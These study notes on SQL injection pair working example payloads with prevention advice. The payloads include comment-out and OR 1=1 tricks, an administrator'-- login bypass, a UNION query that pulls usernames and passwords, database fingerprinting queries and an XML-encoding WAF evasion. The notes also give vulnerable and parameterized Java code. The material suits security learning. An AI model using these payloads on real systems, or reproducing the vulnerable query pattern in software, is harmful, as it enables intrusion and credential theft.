Skip to main content

Injection Points

While most SQLi occurs in WHERE clauses, vulnerabilities can appear anywhere in a query:
LocationExample
UPDATEUpdated values or WHERE clause
INSERTInserted values
SELECTTable/column name, ORDER BY clause

Attack Types

  • Retrieving hidden data — modify a query to return additional results
  • Subverting application logic — alter query behavior to bypass checks
  • UNION attacks — pull data from other tables
  • Blind SQLi — exploit queries whose results aren’t directly returned

Example: Retrieving Hidden Data

Original request and query:
GET /products?category=Gifts
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
Attack 1 — comment out the rest:
/products?category=Gifts'--
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
Attack 2 — return all rows:
/products?category=Gifts'+OR+1=1--
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
OR 1=1 makes the WHERE clause always true; -- discards the trailing conditions. Result: all products returned, including unreleased ones.

Subverting Application Logic

A typical login query:
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
By submitting administrator'-- as the username (with a blank password), the query becomes:
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
-- comments out the password check entirely, so the attacker logs in as administrator with no password required.

Retrieving Data from Other Tables

Using the UNION keyword, an attacker can append a second SELECT to an existing query and pull data from entirely different tables. Original query:
SELECT name, description FROM products WHERE category = 'Gifts'
Injecting ' UNION SELECT username, password FROM users-- produces:
SELECT name, description FROM products WHERE category = 'Gifts'
UNION SELECT username, password FROM users--
The response now includes all usernames and passwords alongside the normal product results.

Blind SQL Injection

With blind SQLi, the application doesn’t return query results or error details — but the vulnerability can still be exploited. Techniques include:
  • Boolean-based — inject a condition that changes the app’s response depending on whether it’s true or false (e.g. injecting into Boolean logic or triggering a divide-by-zero error)
  • Time-based — conditionally trigger a time delay; infer truth from how long the app takes to respond
  • Out-of-band (OAST) — trigger an external network interaction (e.g. a DNS lookup to a domain you control) to exfiltrate data directly; useful when other techniques fail

Second-Order SQL Injection

First-order SQLi is straightforward — user input from an HTTP request is immediately incorporated into a SQL query unsafely. Second-order (aka stored) SQLi is more subtle: the application stores the user input safely at first, but later retrieves it and incorporates it into a query unsafely. The vulnerability isn’t at the point of storage — it triggers on a completely different HTTP request down the line. Second-order SQL injection diagram

Examining the Database

SQL behaves differently across platforms — techniques that work on MySQL may not work on Oracle. Key differences include syntax for string concatenation, comments, batched queries, platform-specific APIs, and error messages. Once a vulnerability is confirmed, fingerprinting the database helps tailor the attack. Two useful starting points: Version detection (result reveals DB type):
SELECT * FROM v$version  -- Oracle
List all tables:
SELECT * FROM information_schema.tables  -- Most databases

SQL Injection in Different Contexts

SQLi isn’t limited to query strings — any input processed as SQL is a potential vector, including JSON and XML bodies. These formats can also help bypass WAFs: filters that block keywords like SELECT can often be evaded by encoding or escaping characters. For example, encoding the S in SELECT as an XML escape sequence:
<stockCheck>
    <productId>123</productId>
    <storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>
The server decodes &#x53; back to S before passing it to the SQL interpreter — bypassing the filter while executing normally.

How to Prevent SQL Injection

The fix for most SQLi is parameterized queries (aka prepared statements) — never concatenate user input directly into a query. Vulnerable:
String query = "SELECT * FROM products WHERE category = '" + input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
Safe:
PreparedStatement statement = connection.prepareStatement(
    "SELECT * FROM products WHERE category = ?"
);
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
Parameterized queries work for WHERE, INSERT, and UPDATE values — but can’t handle table/column names or ORDER BY clauses. For those, use:
  • Whitelisting permitted input values
  • Different logic to deliver the required behavior
One critical rule: the query string must always be a hard-coded constant — never mix in variable data of any origin, even if you think it’s safe. It’s easy to misjudge the origin of data, or for future code changes to introduce tainted input into what was once a trusted path.

Examining the Database

Querying Version & Type

Inject provider-specific version queries to fingerprint the database:
DatabaseQuery
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()
Using a UNION attack:
' UNION SELECT @@version--
A response like the below confirms Microsoft SQL Server and reveals the exact version:
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49 Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0

Listing Database Contents

Query information_schema.tables to list all tables:
SELECT * FROM information_schema.tables
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE
Then drill into a specific table with information_schema.columns:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar
Oracle doesn’t have information_schema — use these equivalents instead:
SELECT * FROM all_tables                                    -- list tables
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'   -- list columns